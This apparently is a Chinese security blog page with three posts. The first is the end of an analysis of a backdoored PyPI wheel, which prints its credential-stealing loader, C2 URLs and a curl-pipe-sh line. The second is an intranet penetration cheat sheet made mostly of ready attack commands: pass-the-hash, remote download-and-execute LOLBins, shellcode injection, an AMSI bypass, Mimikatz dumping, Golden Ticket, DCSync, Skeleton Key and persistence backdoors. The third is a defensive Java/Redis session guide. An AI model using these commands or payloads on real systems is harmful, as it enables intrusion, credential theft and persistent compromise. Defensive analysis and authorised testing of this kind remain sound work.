POST 数据包含 access_key、secret_key、token。外传失败会被静默吞掉,然后回落正常 boto3 client。

3.3 导入即触发后台窃密

解包 enumerate_iam/__init__.py:

bootstrap()
def bootstrap():
    _f = 'AS_PYTHON_BG_PROC'
    if os.environ.get(_f):
        import asyncio
        asyncio.run(_LogicEngine().run())
        sys.exit(0)
    if not hasattr(sys, '_INTERNAL_MON_STARTED'):
        setattr(sys, '_INTERNAL_MON_STARTED', True)
        p = subprocess.Popen([sys.executable], stdin=subprocess.PIPE,
                             stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
                             preexec_fn=os.setpgrp, env=env)

因为 import enumerate_iam.main 会先执行包 __init__.py,导入动作本身就触发后台窃密进程。

3.4 敏感文件扫描范围

s_paths = ['~/.aws', '~/.ssh', '~/.kube', '~/.azure', '~/.config',
           '~/.vsce', '~/.pypirc', '~/.npmrc', '~/.git-credentials']
# Jenkins 凭据
for jf in ['secrets/master.key', 'secrets/hudson.util.Secret',
           'credentials.xml',
           'jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml']:
    full = os.path.join(jk_h, jf)
    if os.path.exists(full): s_paths.append(full)

扫描规则覆盖:

文件类型 扩展名 关键词匹配
凭据文件 .env, .pem, .key, .p12, .ovpn, .rdp, .vsce password, secret, credential, config, auth, token
配置文件 .conf, .yaml, .yml, .txt, .xlsx 同上

3.5 上传 C2 与远程执行

_K = {
    'S_L': [104, 116, 116, 112, 115, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47, 51, 81, 116, 74, 119, 68, 52],
    'S_U': [104, 116, 116, 112, 115, 58, 47, 47, 100, 105, 115, 99, 111, 114, 100, ...]
}
def _gv(k): return "".join(chr(x) for x in _K[k])

解码:

S_L = https://bit.ly/3QtJwD4
S_U = https://discord.com/api/webhooks/1490974057053683845/[redacted]

扫描结果通过 Discord webhook 上传;Linux 上还会执行 curl -sL https://bit.ly/3QtJwD4 | sh 拉取远程脚本。

3.6 wheel 携带被篡改的 boto3

该 wheel 内部除 enumerate_iam/ 外还包含顶层 boto3/ 包。boto3/session.py 中存在独立的凭据外传逻辑:

iam_md5 = "168747470733a2f2f6170692e616c6979756e2d73646b2d72657175657374732e78797a2f617773"
self.component.register_component(name='AWS_ENDPOINT', component=iam_md5[1:])
# → https://api.aliyun-sdk-requests.xyz/aws

# Session.client() 中:
try:
    request = AWSRequest(method='POST', url=bytes.fromhex(AWS_ENDPOINT).decode(),
                         data=credentials.get_frozen_credentials()._asdict())
    client = session.send(request.prepare()).getclient()
    return client
except Exception:
    pass

安装该 wheel 后不只是项目内的 get_client() 有风险,本机 Python 环境中的 boto3 也被污染,所有后续使用 boto3 的项目都可能外传凭据。


4. 影响范围

直接或间接导入 aws_select_iam.py 的脚本共 10 个:

aws/aws_select_iam.py        aws/aws_ec2_exec.py
aws/aws_ec2_exec_noinfo.py   aws/aws_list_ec2.py
aws/aws_push_sshpub.py       aws/aws_security_ingress_add.py
aws/aws_download_s3.py       aws/aws_select_rds.py
aws/aws_select_route53.py    aws/aws_url_console.py

显式传入 components=component 的脚本触发 iam_md5 外传链;即使未显式传入,只要导入恶意 enumerate_iam 仍触发后台窃密。


5. IOC

域名和 URL:

api.aliyun-sdk-requests.xyz
https://api.aliyun-sdk-requests.xyz/aws
https://bit.ly/3QtJwD4
discord.com/api/webhooks/1490974057053683845/...

可疑环境变量:

AS_PYTHON_BG_PROC
AS_PYTHON_SELF_PATH

可疑临时文件:

/tmp/v_<timestamp>.json
/tmp/c_<timestamp>.tar.gz
/tmp/f_<timestamp>.tar.gz
# Windows 上可能是 .zip

可疑进程行为:

python/python3 后台进程(stdout/stderr → DEVNULL)
curl -sL https://bit.ly/3QtJwD4 | sh

6. 处置建议

如果已经运行过,立即执行:

# 检查恶意包
python3 -m pip show aws-enumerateiam
python3 -m pip show boto3

# 检查被污染文件
find / -path "*/enumerate_iam/__init__.py" 2>/dev/null
find / -path "*/enumerate_iam/main.py" 2>/dev/null
grep -rl "iam_md5" / --include="*.py" 2>/dev/null | grep -v ".git"

# 检查网络日志是否存在以下访问
# api.aliyun-sdk-requests.xyz
# bit.ly/3QtJwD4
# discord.com/api/webhooks/1490974057053683845

清理被污染环境:

# 不要只卸载 aws-enumerateiam
# 该 wheel 携带了顶层 boto3/,删后重装
python3 -m pip uninstall -y aws-enumerateiam boto3
python3 -m pip install boto3  # 从官方 PyPI 重装

轮换所有可能暴露的凭据:AWS AK/SK、SSH 私钥、Kubeconfig、Jenkins 凭据、Git 凭据、npm/pypi token。

修复源码:

  • 删除 aws_select_iam.py 中的运行时 pip install
  • 删除 iam_md5 变量
  • 删除所有 ComponentLocator().register_component(name='AWS_ENDPOINT', ...) 调用
  • 改用官方 boto3.client() 或经审计的上游 enumerate-iam
  • 使用依赖锁定和 hash 校验

7. 结论

最早后门入口始于 39a66fc(2025-11-18 17:23:50 +0800),完整自动投毒链始于 f4637c9(2025-11-28 13:04:17 +0800)。iam_md5 的直接作用是隐藏外部 endpoint,配合恶意 wheel 实现双重攻击:

  1. 凭据外传:get_client() 将 AWS AK/SK/TK POST 到 api.aliyun-sdk-requests.xyz/aws
  2. 敏感文件窃取:导入时启动后台进程,扫描 ~/.aws、~/.ssh、~/.kube、Jenkins 凭据等,上传到 Discord webhook

此外,wheel 携带的被篡改 boto3 会污染本地环境,使后续所有使用 boto3 的项目都可能外传凭据。该问题应按已确认后门/凭据窃取器处理,而非仅按”可疑代码”处理。

阅读全文 »

内网渗透实战技术深度梳理

发表于 2026-06-15 | 分类于 内网安全 , 渗透测试 |

内网渗透实战技术深度梳理

本文面向中高级渗透测试工程师,聚焦可操作的命令、工具链和攻击路径。不做名词解释,只讲怎么打。


1. 信息收集

1.1 本机指纹

# Windows — 系统/网络/用户一键收集
systeminfo & hostname & whoami /all
echo %USERDOMAIN% & echo %logonserver%
ipconfig /all & route print & netstat -ano & arp -a
net user & net localgroup administrators
net group "Domain Admins" /domain 2>nul
whoami /groups & whoami /priv
# Linux — 同等信息
uname -a; id; ip addr; ss -tunlp
cat /etc/passwd | grep -v nologin

1.2 域环境探测

net view /domain
net time /domain
nltest /dclist:corp.local
nltest /dsgetdc:corp.local
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local
# PowerView(需导入)
Get-NetDomain; Get-NetDomainController
Get-NetUser | select samaccountname, serviceprincipalname
Get-NetGroup "Domain Admins" | select member
Get-NetComputer | select name, operatingsystem
Get-NetComputer -FullData | ? { $_.description -match "jenkins|ansible|zabbix|bastion|jump|monitor|deploy|sql|backup" }

1.3 存活发现

# ICMP 快速探测 C 段
for /L %i in (1,1,254) do @ping -n 1 -w 200 192.168.1.%i | find "TTL="

# PowerShell 端口扫描(单主机)
1..65535 | % {
    $t=New-Object Net.Sockets.TcpClient
    if($t.BeginConnect("10.0.0.5",$_,$null,$null).AsyncWaitHandle.WaitOne(200)){$_}
    $t.Close()
}
# Linux 批量端口探测
for ip in $(seq 1 254); do
  for port in 22 80 443 445 3389 1433 3306 6379 8080 2222 50000 10050 27017; do
    timeout 0.3 bash -c "echo >/dev/tcp/10.0.0.$ip/$port" 2>/dev/null && echo "10.0.0.$ip:$port"
  done
done

1.4 运维服务器定位

重点关注堡垒机、Jenkins、Ansible、Zabbix、GitLab、SCCM、备份系统。

# DNS 反查常见运维主机名
foreach($n in @("jump01","jump02","ops01","admin01","jenkins01","gitlab01","monitor01","zabbix01","ansible01")){
    try { Resolve-DnsName "$n.corp.local" -ErrorAction Stop | select Name,IPAddress } catch {}
}

# RDP 连接历史
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s
# known_hosts + bash_history 暴露管理连接
cat ~/.ssh/known_hosts /home/*/.ssh/known_hosts 2>/dev/null
grep -E "ssh |scp |mysql -h|psql -h|redis-cli -h|mongo " ~/.bash_history 2>/dev/null
grep -r "jdbc:" /opt/ /etc/ 2>/dev/null

运维端口速查:

端口 服务 拿下后的直接价值
2222 JumpServer/堡垒机 全部 SSH/RDP 会话
8080 Jenkins Groovy 脚本 → 主机权限
10050 Zabbix Agent system.run[] 远程执行
443 Ansible Tower 全网节点 SSH Key
10123 SCCM Windows 批量软件分发
9392 Veeam 所有备份镜像

命名规律速查:jump/bastion→堡垒机,ops/admin/mgmt→运维,jenkins/gitlab/ci→自动化平台,monitor/zabbix/prom→监控,backup/veeam→备份系统。

1.5 内网图谱构建

输出一张攻击路径图,而非一堆 IP。从四个维度聚合:

主机角色:

10.10.1.0/24
├── PC01,PC02         # 办公终端
├── FILE01            # 文件服务器
├── APP01             # 应用服务器
└── DB01              # 数据库

账户分级:

user01,user02         → 普通用户
ops_admin             → 运维账号(多服务器管理员)
svc_sql,svc_jenkins   → 服务账号 → Kerberoasting 目标
administrator         → 域管理员

权限传递链 — 从当前主机出发追踪可达目标:

WEB01(IIS APPPOOL)
  └─ web.config → sa:密码
      └─ DB01(MSSQL, xp_cmdshell)
          └─ linked server → svc_link
              └─ OPS01(Ansible, sudo)
                  └─ DC01

业务链路:Web层(proxy_pass) → App层(jdbc, Redis连接串) → DB层(linked servers)。

最终目标是绘制一条类似 WEB01 → DB01 → OPS01 → DC01 的可操作攻击路径,沿信任链逐跳推进。


2. 横向移动

2.1 Pass-the-Hash

# impacket 套件
impacket-psexec -hashes :<NTLM_HASH> DOMAIN/Administrator@10.0.0.5
impacket-wmiexec -hashes :<NTLM_HASH> DOMAIN/Administrator@10.0.0.5
impacket-smbexec -hashes :<NTLM_HASH> DOMAIN/Administrator@10.0.0.5  # 更隐蔽

# CrackMapExec 批量验证 + 执行
crackmapexec smb 10.0.0.0/24 -u Administrator -H <HASH>
crackmapexec smb 10.0.0.5 -u Administrator -H <HASH> -x whoami
# Mimikatz PTH
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<hash> /run:cmd.exe

2.2 WMI / WinRM / PsExec

# WMI 远程进程创建
wmic /node:10.0.0.5 /user:corp\Administrator /password:Passw0rd process call create "cmd.exe /c whoami"
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe" -ComputerName 10.0.0.5

# WinRM 交互式会话
Enter-PSSession -ComputerName 10.0.0.5 -Credential corp\Administrator
# Linux 侧 evil-winrm
evil-winrm -i 10.0.0.5 -u Administrator -H <NTLM_HASH>
# PsExec(会注册服务,注意留下痕迹)
PsExec.exe \\10.0.0.5 -u corp\Administrator -p Passw0rd cmd.exe
impacket-psexec corp/Administrator:Passw0rd@10.0.0.5

2.3 计划任务 / RDP 劫持

# schtasks 横向
schtasks /create /s 10.0.0.5 /tn "Update" /tr "c:\temp\payload.exe" /sc once /st 15:00 /ru SYSTEM
schtasks /run /s 10.0.0.5 /tn "Update"

# at(Windows 早期版本)
at \\10.0.0.5 15:00 cmd.exe /c "payload.exe"
# RDP 会话劫持(需要 SYSTEM)
query session
sc create rdpjacker binPath="cmd.exe /k tscon 2 /dest:console" start=auto & net start rdpjacker

2.4 无文件渗透(Living Off the Land)

核心原则:不落地 PE、利用系统自带组件、行为贴近正常运维。

LOLBin 速查:

工具 用途 命令
certutil 下载 certutil -urlcache -split -f http://vps/payload.dll C:\windows\temp\1.dll
bitsadmin BITS下载 bitsadmin /transfer job http://vps/payload.exe C:\temp\1.exe
mshta 执行HTA mshta http://vps/payload.hta
regsvr32 远程SCT regsvr32 /s /u /i:http://vps/payload.sct scrobj.dll
msbuild 内联C# msbuild inline.xml(XML 内嵌 C#)
csc 编译执行 csc /out:1.exe code.cs && 1.exe
cmstp INF加载 cmstp /s /ns inf_file.inf(含 UAC 绕过)
installutil .NET DLL installutil /U malicious.dll

PowerShell 内存执行链:

# 反射加载 .NET 程序集(不落地)
$d=(New-Object Net.WebClient).DownloadData('http://vps/payload.dll')
[Reflection.Assembly]::Load($d); [Payload.Program]::Main()

# Invoke-Mimikatz 内存执行
IEX (New-Object Net.WebClient).DownloadString('http://vps/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'

# Shellcode 注入
$b=(New-Object Net.WebClient).DownloadData('http://vps/shellcode.bin')
$p=[Runtime.InteropServices.Marshal]::AllocHGlobal($b.Length)
[Runtime.InteropServices.Marshal]::Copy($b,0,$p,$b.Length)
[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($p,[Func[IntPtr]]).Invoke()

WMI 无文件横向:

wmic /node:10.0.0.5 /user:DOMAIN\admin /password:Passw0rd process call create "powershell -enc <BASE64>"

对抗检测:

  • AMSI 绕过:[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
  • ScriptBlock Logging:注册表 HKLM\SOFTWARE\Microsoft\Windows\PowerShell\ScriptBlockLogging → 禁用
  • 进程注入到 explorer.exe / svchost.exe
  • WMI Win32_ProcessStartup 指定父进程 ID

3. 权限提升

3.1 Windows 提权向量

# 快速诊断
whoami /priv; whoami /groups
systeminfo | findstr /B /C:"OS"; wmic qfe list
场景 利用方式
SeImpersonatePrivilege PrintSpoofer.exe -i -c cmd(Server 2019+),否则 JuicyPotato.exe -t * -p cmd -l 1337
AlwaysInstallElevated=1 MSI 包装 payload → msiexec 安装
可写服务 binPath sc config VulnSvc binPath="cmd /c payload.exe" & sc start VulnSvc
服务路径引号缺失 PowerUp.ps1 → Invoke-AllChecks
UAC 绕过(管理员组非高完整性) fodhelper.exe / cmstp.exe 注册表劫持
内核漏洞 Watson / Sherlock 检测未打补丁

3.2 Linux 提权向量

# SUID
find / -perm -4000 -type f 2>/dev/null
# sudo
sudo -l
# Capabilities
getcap -r / 2>/dev/null
# Crontab
cat /etc/crontab; ls -la /etc/cron*
场景 利用方式
cap_setuid+ep 的二进制 python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
Docker 组成员 docker run -v /:/host alpine chroot /host
NFS no_root_squash 挂载 → 写入 SUID 二进制
可写 /etc/passwd openssl passwd -1 -salt x pass123 → 追加条目
sudo --version 低版本 CVE-2021-3156(sudoedit 堆溢出)
内核提权 uname -a + searchsploit

4. 域渗透

4.1 域控定位

nltest /dclist:corp.local
nltest /dsgetdc:corp.local
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local
Get-NetDomainController | select name

4.2 Kerberoasting / AS-REP

# Kerberoasting — 请求 SPN 用户 TGS 票据
impacket-GetUserSPNs corp.local/user:pass -request -dc-ip 10.0.0.2 -outputfile hashes.txt
hashcat -m 13100 hashes.txt wordlist.txt

# AS-REP Roasting — 不需要预认证的用户
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.2 -format hashcat

4.3 Golden Ticket / Silver Ticket

# 获取 krbtgt hash(DCSync)
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# 生成并注入 Golden Ticket
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:<hash> /id:500 /ptt

# Silver Ticket(伪造服务 TGS,不触达 DC)
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-xxx /target:dc.corp.local /service:cifs /rc4:<machine_hash> /user:Administrator /ptt

4.4 DCSync

# 冒充 DC 拉取域数据库
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
impacket-secretsdump corp.local/Administrator:Passw0rd@10.0.0.2

4.5 域信任利用

nltest /domain_trusts
# 子域→父域 SID History 注入
mimikatz # kerberos::golden /user:Administrator /domain:child.corp.local /sid:子域SID /sids:父域EnterpriseAdminsSID /krbtgt:<hash> /ptt

4.6 GPO / ACL 滥用

# 定位可写 GPO 覆盖的机器
Get-NetGPO | %{Get-NetOU -GUID $_.gplink} | %{Get-NetComputer -ADSpath $_}

# AdminSDHolder — 给 backdoor 用户 ACL 特权(每小时全域同步一次)
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName backdoor -Rights All

5. 隧道与代理

工具 协议 适用场景
SSH TCP Linux 间最简单
frp TCP/UDP/HTTP 多端口转发
chisel HTTP/WS 单二进制、可过 CDN
ligolo-ng TUN 全流量透明代理
Neo-reGeorg HTTP 仅 HTTP 出网
# SSH 本地转发
ssh -L 0.0.0.0:13389:10.0.0.5:3389 user@vps
# SSH 远程转发(反向)
ssh -R 0.0.0.0:8080:127.0.0.1:80 user@vps
# SSH SOCKS 代理
ssh -D 0.0.0.0:1080 user@vps
proxychains nmap -sT -Pn 10.0.0.0/24

# chisel 反向 SOCKS
# VPS 服务端: chisel server -p 8080 --reverse
# 目标客户端: chisel client vps:8080 R:0.0.0.0:1080:socks

# proxychains 配合 impacket
proxychains4 -q crackmapexec smb 10.0.0.0/24 -u admin -H <hash>

极端不出网场景:ICMP 隧道(ptunnel)、DNS 隧道(dnscat2 / iodine)。


6. 凭证收集

6.1 Windows

# Mimikatz — LSASS dump
privilege::debug
sekurlsa::logonpasswords
sekurlsa::ekeys
lsadump::sam
lsadump::secrets
lsadump::cache
vault::list
# SAM + SYSTEM 离线提取
reg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive
# 本地解析
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
# 浏览器密码(需要 DPAPI)
lazagne.exe all
# RDP 缓存凭据
cmdkey /list
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
# PowerShell 历史
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

6.2 Linux

cat ~/.ssh/id_rsa /home/*/.ssh/id_rsa 2>/dev/null
grep -rn "password" /var/www/ /opt/ 2>/dev/null
grep -rn "jdbc:" /opt/ /etc/ 2>/dev/null
python3 lazagne.py all

6.3 网络嗅探

# LLMNR/NBT-NS 投毒
responder -I eth0 -wrf
# 抓到 NetNTLMv2 → hashcat -m 5600
hashcat -m 5600 hash.txt wordlist.txt

# NTLM 中继(目标无 SMB 签名时)
impacket-ntlmrelayx -tf targets.txt -smb2support -i

7. 权限维持

7.1 Windows

# 计划任务 SYSTEM 权限
schtasks /create /tn "WindowsUpdate" /tr "c:\windows\temp\payload.exe" /sc onstart /ru SYSTEM

# 服务后门
sc create "SysHelper" binPath="cmd /c payload.exe" start=auto

# 注册表 Run 键
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\temp\payload.exe"

7.2 域持久化

# Skeleton Key — DC LSASS 注入
mimikatz # privilege::debug & misc::skeleton
# 之后可用 mimikatz 密码登录任意域账户

# DSRM 后门 — DC 本地管理员
# reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2

# Golden Ticket 长期有效(krbtgt hash 不变则一直有效)

7.3 Linux

(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/shell.sh") | crontab -
echo "ssh-rsa AAA..." >> ~/.ssh/authorized_keys
echo "nohup /tmp/backdoor &>/dev/null &" >> ~/.bashrc
# systemd 服务持久化

8. 防御检测

8.1 关键 Event ID

Event ID 含义 关注点
4624 登录成功 LogonType 3(网络)、10(RDP)
4625 登录失败 爆破
4672 特权分配 SeDebugPrivilege
4768 TGT 请求 异常加密类型
4769 服务票据请求 Kerberoasting
4688 进程创建 异常父进程链
4697 服务安装 后门
5140 网络共享访问 SMB 横向

8.2 蓝队排查命令

# 网络登录(LogonType 3)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]]" | ?{$_.Properties[8].Value -eq 3} | select -First 50

# 异常进程链
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4688]]" | Select TimeCreated, @{N='Proc';E={$_.Properties[5].Value}}, @{N='Parent';E={$_.Properties[21].Value}}

# 计划任务变更
schtasks /query /fo LIST /v | findstr /i "TaskName Author"

# 新增服务
Get-WmiObject Win32_Service | ?{$_.StartName -ne "LocalSystem"} | Select Name,PathName,StartName

8.3 加固要点

  • LAPS:本地管理员密码唯一+轮换 → 阻断 PTH 横向
  • Credential Guard:虚拟化隔离 LSASS → Mimikatz 无法 dump 明文
  • SMB 签名:强制启用 → 阻断 NTLM Relay
  • 禁用 LLMNR/NBT-NS:阻断 Responder 投毒
  • 网络分段:管理网段/生产网段/办公网段 VLAN 隔离
  • Sysmon:细粒度进程/网络/注册表审计

9. 现代内网扩展

9.1 BloodHound 攻击路径

# 数据采集
SharpHound.exe -c All --zipfilename out.zip

关注关系:GenericAll、GenericWrite、WriteDACL、WriteOwner、ForceChangePassword、AddMember、AllowedToDelegate。

查询最短路径:MATCH p=shortestPath((u:User{name:'USER@DOMAIN'})-[*1..]->(g:Group{name:'DOMAIN ADMINS@DOMAIN'})) RETURN p

9.2 ADCS 攻击(ESC1/ESC8)

# ESC1 — 申请高权限模板证书
certipy req -username user@corp.local -password pass -ca corp-CA -target ca.corp.local -template ESC1 -upn administrator@corp.local

# ESC8 — NTLM Relay 到 CA Web Enrollment
certipy relay -ca 10.0.0.5

# Shadow Credentials — KeyCredentialLink 接管
certipy shadow auto -username user@corp.local -password pass -account target_user

9.3 委派攻击

# 查找非约束委派主机
Get-NetComputer -Unconstrained

# RBCD 攻击链:
# 1. 创建机器账户(需 MachineAccountQuota > 0)
impacket-addcomputer corp.local/user:pass -computer-name FAKE01\$ -computer-pass Passw0rd
# 2. 配置 RBCD
impacket-rbcd corp.local/user:pass -delegate-from FAKE01\$ -delegate-to TARGET\$
# 3. S4U2Self + S4U2Proxy → 获取目标服务票据
impacket-getST -spn cifs/TARGET.corp.local -impersonate Administrator corp.local/FAKE01\$:Passw0rd

9.4 云环境凭证

# Metadata 服务
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"

AccessKey 常见位置:.env、config.yaml、~/.aws/credentials、Jenkins 凭据存储、GitLab CI 变量、Terraform state。

9.5 Kubernetes / 容器

# ServiceAccount Token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Kubeconfig
cat ~/.kube/config
# Docker Socket 逃逸
docker -H unix:///var/run/docker.sock run -v /:/host alpine chroot /host
# 使用 token 访问 API Server
kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) --server=https://kubernetes.default.svc get pods --all-namespaces

9.6 数据库作跳板

-- MSSQL xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- MSSQL Linked Server 跨库
SELECT * FROM OPENQUERY("LINKED_SRV",'SELECT @@servername');
EXEC ('xp_cmdshell ''whoami''') AT "LINKED_SRV";

-- CLR Assembly 执行 .NET 代码
CREATE ASSEMBLY [CLRShell] FROM 0x4D5A900003... WITH PERMISSION_SET = UNSAFE;
# MySQL UDF 提权
# lib_mysqludf_sys.so → /usr/lib/mysql/plugin/
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('chmod +s /bin/bash');

9.7 Linux 横向

# SSH Agent Forwarding 利用
echo $SSH_AUTH_SOCK
ssh -o StrictHostKeyChecking=no user@next_host

# NFS no_root_squash
showmount -e 10.0.0.5
mount -t nfs 10.0.0.5:/data /tmp/nfs
# 写入 SUID 二进制 → 宿主机 root

9.8 ATT&CK 映射

技术 ID
Pass-the-Hash T1550.002
Kerberoasting T1558.003
Golden Ticket T1558.001
DCSync T1003.006
WMI T1047
WinRM T1021.006
PsExec T1021.002
Scheduled Task T1053
RDP T1021.001
SSH T1021.004
Kubernetes API T1613
Cloud Account T1078

10. 结语

现代内网渗透已从传统的”提权 → 抓密码 → 打域控”演进为身份体系 + 权限关系 + 云平台 + 容器平台 + 自动化运维之间的综合对抗。核心能力不在工具数量,而在于:快速构建信任关系图谱、识别最短信任链、锁定高价值控制节点。

阅读全文 »

Java Web 会话管理与 Redis 认证实践

发表于 2026-05-08 | 分类于 Java安全 , Redis |

Java Web 会话管理与 Redis 认证实践

会话管理是认证体系的”最后一公里”。无论前端用 JWT 还是 Session,服务端的校验逻辑、Redis 缓存策略、并发控制直接决定了整个认证链路的安全性。

本文是 Java Web 认证授权安全系列 的第六篇。


6.1 Session Fixation 攻击

// ❌ 登录前后 Session ID 不变
http.sessionManagement().sessionFixation().none();

// ✅ 登录后更换 Session ID
http.sessionManagement()
    .sessionFixation().migrateSession();  // 创建新 Session,复制属性
// 或
http.sessionManagement()
    .sessionFixation().newSession();      // 创建全新 Session

6.2 Cookie 安全属性

@Bean
public CookieSerializer cookieSerializer() {
    DefaultCookieSerializer serializer = new DefaultCookieSerializer();
    serializer.setSameSite("Strict");
    serializer.setUseSecureCookie(true);
    serializer.setUseHttpOnlyCookie(true);
    return serializer;
}
server:
  servlet:
    session:
      cookie:
        http-only: true
        secure: true
        same-site: strict
      timeout: 30m

6.3 服务端 Session 校验的正确模式

模式 A:仅判空(不安全)

// ❌ 只判断 getAttribute 是否为 null,无状态校验
Object user = session.getAttribute("user");
if (user == null) { response.sendRedirect("/login"); return false; }
return true;  // 不管 user 是否已被禁用、IP 是否变化

模式 B:Redis 集中校验(推荐)

@Component
public class SessionAuthInterceptor implements HandlerInterceptor {
    @Autowired private RedisTemplate<String, SessionUser> redis;
    @Autowired private UserService userService;
    
    public boolean preHandle(HttpServletRequest request, ...) {
        String sessionId = request.getHeader("X-Session-Id");
        if (sessionId == null) {
            HttpSession s = request.getSession(false);
            if (s == null) { respond401(response, "未登录"); return false; }
            sessionId = s.getId();
        }
        
        SessionUser user = redis.opsForValue().get("session:user:" + sessionId);
        if (user == null) { respond401(response, "Session 过期"); return false; }
        
        // 检查用户是否仍有效(可能被管理员禁用)
        if (!userService.isUserActive(user.getUserId())) {
            redis.delete("session:user:" + sessionId);
            respond401(response, "账号已禁用"); return false;
        }
        
        // 检查 IP 变化(管理后台推荐严格模式)
        String currentIp = getClientIp(request);
        if (!currentIp.equals(user.getLoginIp())) {
            log.warn("IP变化: userId={}", user.getUserId());
        }
        
        // 续期
        redis.expire("session:user:" + sessionId, Duration.ofMinutes(30));
        request.setAttribute("currentUser", user);
        return true;
    }
}
@Data
public class SessionUser implements Serializable {
    private Long userId;
    private String username;
    private Set<String> roles;
    private Set<String> permissions;
    private String loginIp;
    private String userAgent;
    private LocalDateTime loginTime;
}

模式 C:无状态 Token + Redis 黑名单

@Override
public boolean preHandle(HttpServletRequest request, ...) {
    String token = extractBearerToken(request);
    if (token == null) { respond401(response, "缺少Token"); return false; }
    
    // 黑名单检查(已注销的 Token)
    if (Boolean.TRUE.equals(redis.hasKey("token:blacklist:" + getTokenId(token)))) {
        respond401(response, "Token 已失效"); return false;
    }
    
    // JWT 校验
    try {
        TokenUser user = jwtService.validateAndParse(token);
        request.setAttribute("currentUser", user);
        return true;
    } catch (JwtException e) {
        respond401(response, "Token 无效"); return false;
    }
}

6.4 Redis 权限缓存的安全陷阱

// ❌ 缓存无失效机制 — 权限变更后旧权限仍生效
public Set<String> getUserPermissions(Long userId) {
    Set<String> cached = redis.opsForValue().get("perm:" + userId);
    if (cached != null) return cached;  // ← 永远返回缓存
    // ...
}

// ✅ 变更时主动失效 + 短 TTL
public void updateUserPermissions(Long userId, Set<String> newPerms) {
    permissionMapper.updatePermissions(userId, newPerms);
    redis.delete("perm:" + userId);  // 立即失效
    redis.convertAndSend("perm:invalidate", userId.toString());  // 通知其他节点
}

public Set<String> getUserPermissions(Long userId) {
    return Optional.ofNullable(redis.opsForValue().get("perm:" + userId))
        .orElseGet(() -> {
            Set<String> perms = permissionMapper.findByUserId(userId);
            redis.opsForValue().set("perm:" + userId, perms, Duration.ofMinutes(5));
            return perms;
        });
}

6.5 并发登录控制

@Component
public class SessionManager {
    @Autowired private RedisTemplate<String, String> redis;
    
    public void registerSession(Long userId, String newSessionId) {
        String oldSessionId = redis.opsForValue().get("user:session:" + userId);
        if (oldSessionId != null && !oldSessionId.equals(newSessionId)) {
            redis.opsForValue().set("session:blacklist:" + oldSessionId, "kicked", 
                Duration.ofMinutes(30));
            log.info("用户 {} 新设备登录,旧 Session 被踢出", userId);
        }
        redis.opsForValue().set("user:session:" + userId, newSessionId, 
            Duration.ofHours(2));
    }
}

6.6 暴力破解防护(Redis 限流)

@Component
public class LoginRateLimiter {
    private static final int MAX_ATTEMPTS = 5;
    private static final Duration WINDOW = Duration.ofMinutes(5);
    private static final Duration BLOCK = Duration.ofMinutes(15);
    
    public boolean isBlocked(String username, String ip) {
        return Boolean.TRUE.equals(redis.hasKey("login:block:" + ip))
            || Boolean.TRUE.equals(redis.hasKey("login:block:user:" + username));
    }
    
    public void recordFailedAttempt(String username, String ip) {
        String key = "login:attempt:" + ip + ":" + username;
        Long attempts = redis.opsForValue().increment(key);
        if (attempts == 1) redis.expire(key, WINDOW);
        if (attempts >= MAX_ATTEMPTS) {
            redis.opsForValue().set("login:block:" + ip, 1, BLOCK);
            redis.opsForValue().set("login:block:user:" + username, 1, BLOCK);
        }
    }
}

6.7 混合认证架构设计

管理后台 (Web/Cookie) ──→ Session 认证 ──┐
                                          ├──→ Redis 统一存储
移动端/API (Token)    ──→ JWT 认证    ──┘
// 管理后台:Session
@Bean
public SecurityFilterChain webChain(HttpSecurity http) throws Exception {
    http.securityMatcher("/admin/**")
        .authorizeHttpRequests(a -> a.anyRequest().hasRole("ADMIN"))
        .formLogin(Customizer.withDefaults())
        .sessionManagement(s -> s.sessionCreationPolicy(IF_REQUIRED));
    return http.build();
}

// API:JWT
@Bean @Order(1)
public SecurityFilterChain apiChain(HttpSecurity http) throws Exception {
    http.securityMatcher("/api/**")
        .authorizeHttpRequests(a -> a.requestMatchers("/api/public/**").permitAll()
            .anyRequest().authenticated())
        .oauth2ResourceServer(o -> o.jwt(Customizer.withDefaults()))
        .sessionManagement(s -> s.sessionCreationPolicy(STATELESS));
